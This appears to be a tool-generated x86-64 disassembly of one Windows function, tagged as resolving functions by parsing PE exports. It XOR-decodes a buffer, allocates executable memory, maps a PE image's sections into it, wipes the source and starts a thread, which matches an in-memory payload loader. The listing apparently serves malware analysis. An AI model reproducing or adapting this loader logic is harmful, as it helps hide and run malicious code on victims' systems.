Function at 0x140002b50
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rdi
sub rsp, 0x370
mov rax, qword [0x14001b040]
xor rax, rsp
mov qword [rsp + 0x368], rax
movzx eax, byte [0x14001ba7d]
test eax, eax
je 0x140002b86
mov al, 1
jmp 0x14000333c
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x50], 0
mov r8, qword [rsp + 0x388]
mov rdx, qword [rsp + 0x380]
lea rcx, [rsp + 0x1c0]
call fcn.140004dd0
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x90], rax
mov rdx, qword [rsp + 0x90]
lea rcx, [rsp + 0x348]
call fcn.140001a30
nop
lea rcx, [rsp + 0x1c0]
call fcn.1400012d0
nop
lea rcx, [rsp + 0x348]
call fcn.140004a80
mov r8, qword [rsp + 0x388]
mov rdx, rax
mov rcx, qword [rsp + 0x380]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
nop
lea rax, [rsp + 0x200]
mov qword [rsp + 0x98], rax
lea rax, [rsp + 0x30]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x30]
call fcn.140003450
mov rcx, rax
call fcn.1400044e0
mov rdx, rax
mov rcx, qword [rsp + 0x98]
call fcn.140004d70
mov qword [rsp + 0xa0], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0xa8], rax
mov rax, qword [rsp + 0xa8]
mov qword [rsp + 0xc0], rax
lea rax, [rsp + 0x220]
mov qword [rsp + 0xb0], rax
lea rax, [rsp + 0x31]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x31]
call fcn.140003360
mov rcx, rax
call fcn.1400044e0
mov rdx, rax
mov rcx, qword [rsp + 0xb0]
call fcn.140004d70
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0xc8], rax
mov rdx, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc8]
call fcn.140001b30
mov qword [rsp + 0xf0], rax
mov ecx, 0x30
call fcn.140012ac4
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x80], rax
mov edx, 0x18
lea rcx, [rsp + 0x330]
call fcn.140002600
mov r8, qword [rsp + 0x388]
mov rdx, qword [rsp + 0x380]
lea rcx, [rsp + 0x1e0]
call fcn.140004dd0
mov qword [rsp + 0xd8], rax
mov rax, qword [rsp + 0xd8]
mov qword [rsp + 0xe0], rax
mov rdx, qword [rsp + 0xe0]
lea rcx, [rsp + 0x330]
call fcn.1400021f0
nop
lea rcx, [rsp + 0x1e0]
call fcn.1400012d0
nop
mov dword [rsp + 0x3c], 0
jmp 0x140002dae
mov eax, dword [rsp + 0x3c]
inc eax
mov dword [rsp + 0x3c], eax
movsxd rax, dword [rsp + 0x3c]
mov qword [rsp + 0xe8], rax
lea rcx, [rsp + 0x330]
call fcn.1400046e0
mov rcx, qword [rsp + 0xe8]
cmp rcx, rax
jae 0x140002e03
movsxd rax, dword [rsp + 0x3c]
mov rdx, rax
lea rcx, [rsp + 0x330]
call fcn.1400046b0
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
movzx eax, byte [rax]
xor eax, 0x56
mov rcx, qword [rsp + 0x68]
mov byte [rcx], al
jmp 0x140002da4
mov r8, qword [rsp + 0x388]
xor edx, edx
mov rcx, qword [rsp + 0x380]
call qword [sym.imp.VCRUNTIME140.dll_memset]
lea rcx, [rsp + 0x330]
call fcn.140004710
mov qword [rsp + 0x380], rax
lea rcx, [rsp + 0x330]
call fcn.1400046e0
mov qword [rsp + 0x388], rax
mov rax, qword [rsp + 0x380]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x380]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
add rax, 0x18
mov qword [rsp + 0x70], rax
mov rax, qword [rsp + 0x58]
add rax, 4
mov qword [rsp + 0x78], rax
mov rax, qword [rsp + 0x70]
mov eax, dword [rax + 0x38]
mov dword [rsp + 0x60], eax
mov rax, qword [rsp + 0xf0]
mov qword [rsp + 0xf8], rax
mov eax, dword [rsp + 0x60]
mov r9d, 0x40
mov r8d, 0x3000
mov edx, eax
xor ecx, ecx
call qword [rsp + 0xf8]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x140002eee
mov byte [rsp + 0x32], 0
lea rcx, [rsp + 0x330]
call fcn.140004800
nop
lea rcx, [rsp + 0x348]
call fcn.1400012d0
movzx eax, byte [rsp + 0x32]
jmp 0x14000333c
lea rax, [rsp + 0x300]
mov rdi, rax
xor eax, eax
mov ecx, 0x30
rep stosb byte [rdi], al
lea rax, [rsp + 0x240]
mov qword [rsp + 0x100], rax
lea rax, [rsp + 0x33]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x33]
call fcn.140003630
mov rcx, rax
call fcn.140004450
mov rdx, rax
mov rcx, qword [rsp + 0x100]
call fcn.140004d70
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0x110]
mov qword [rsp + 0x128], rax
lea rax, [rsp + 0x260]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x34]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x34]
call fcn.140003540
mov rcx, rax
call fcn.140004450
mov rdx, rax
mov rcx, qword [rsp + 0x118]
call fcn.140004d70
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x130], rax
mov rdx, qword [rsp + 0x128]
mov rcx, qword [rsp + 0x130]
call fcn.140001b30
mov qword [rsp + 0x300], rax
lea rax, [rsp + 0x280]
mov qword [rsp + 0x138], rax
lea rax, [rsp + 0x35]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x35]
call fcn.140003810
mov rcx, rax
call fcn.140004280
mov rdx, rax
mov rcx, qword [rsp + 0x138]
call fcn.140004d70
mov qword [rsp + 0x140], rax
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x160], rax
lea rax, [rsp + 0x2a0]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x36]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x36]
call fcn.140003720
mov rcx, rax
call fcn.1400043c0
mov rdx, rax
mov rcx, qword [rsp + 0x150]
call fcn.140004d70
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x158]
mov qword [rsp + 0x168], rax
mov rdx, qword [rsp + 0x160]
mov rcx, qword [rsp + 0x168]
call fcn.140001b30
mov qword [rsp + 0x308], rax
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x318], rax
mov dword [rsp + 0x328], 1
mov r8d, 0x1000
mov rdx, qword [rsp + 0x380]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
mov rax, qword [rsp + 0x58]
movzx eax, word [rax + 0x14]
mov rcx, qword [rsp + 0x58]
lea rax, [rcx + rax + 0x18]
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x40], 0
jmp 0x140003133
mov eax, dword [rsp + 0x40]
inc eax
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x48]
add rax, 0x28
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x78]
movzx eax, word [rax + 2]
cmp dword [rsp + 0x40], eax
je 0x1400031a3
mov rax, qword [rsp + 0x48]
cmp dword [rax + 0x10], 0
je 0x14000319e
mov rax, qword [rsp + 0x48]
mov eax, dword [rax + 0x10]
mov rcx, qword [rsp + 0x48]
mov ecx, dword [rcx + 0x14]
mov rdx, qword [rsp + 0x380]
add rdx, rcx
mov rcx, rdx
mov rdx, qword [rsp + 0x48]
mov edx, dword [rdx + 0xc]
mov rdi, qword [rsp + 0x50]
add rdi, rdx
mov rdx, rdi
mov qword [rsp + 0x170], rdx
mov r8d, eax
mov rdx, rcx
mov rax, qword [rsp + 0x170]
mov rcx, rax
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
nop
jmp 0x14000311b
mov r8d, 0x30
lea rdx, [rsp + 0x300]
mov rcx, qword [rsp + 0x80]
call qword [sym.imp.VCRUNTIME140.dll_memcpy]
lea rcx, [rsp + 0x330]
call fcn.140004730
mov r8, qword [rsp + 0x388]
xor edx, edx
mov rcx, qword [rsp + 0x380]
call qword [sym.imp.VCRUNTIME140.dll_memset]
mov r8d, 0x10
xor edx, edx
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.VCRUNTIME140.dll_memset]
nop
lea rax, [rsp + 0x2c0]
mov qword [rsp + 0x178], rax
lea rax, [rsp + 0x37]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x37]
call fcn.1400039f0
mov rcx, rax
call fcn.140004140
mov rdx, rax
mov rcx, qword [rsp + 0x178]
call fcn.140004d70
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x180]
mov qword [rsp + 0x188], rax
mov rax, qword [rsp + 0x188]
mov qword [rsp + 0x1a0], rax
lea rax, [rsp + 0x2e0]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x38]
mov rdi, rax
xor eax, eax
mov ecx, 1
rep stosb byte [rdi], al
lea rcx, [rsp + 0x38]
call fcn.140003900
mov rcx, rax
call fcn.140004140
mov rdx, rax
mov rcx, qword [rsp + 0x190]
call fcn.140004d70
mov qword [rsp + 0x198], rax
mov rax, qword [rsp + 0x198]
mov qword [rsp + 0x1a8], rax
mov rdx, qword [rsp + 0x1a0]
mov rcx, qword [rsp + 0x1a8]
call fcn.140001b30
mov qword [rsp + 0x1b0], rax
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0x1b8], rax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9, qword [rsp + 0x80]
lea r8, [0x140001bd0]
xor edx, edx
xor ecx, ecx
call qword [rsp + 0x1b8]
nop
mov byte [rsp + 0x39], 1
lea rcx, [rsp + 0x330]
call fcn.140004800
nop
lea rcx, [rsp + 0x348]
call fcn.1400012d0
movzx eax, byte [rsp + 0x39]
mov rcx, qword [rsp + 0x368]
xor rcx, rsp
call fcn.140012460
add rsp, 0x370
pop rdi
ret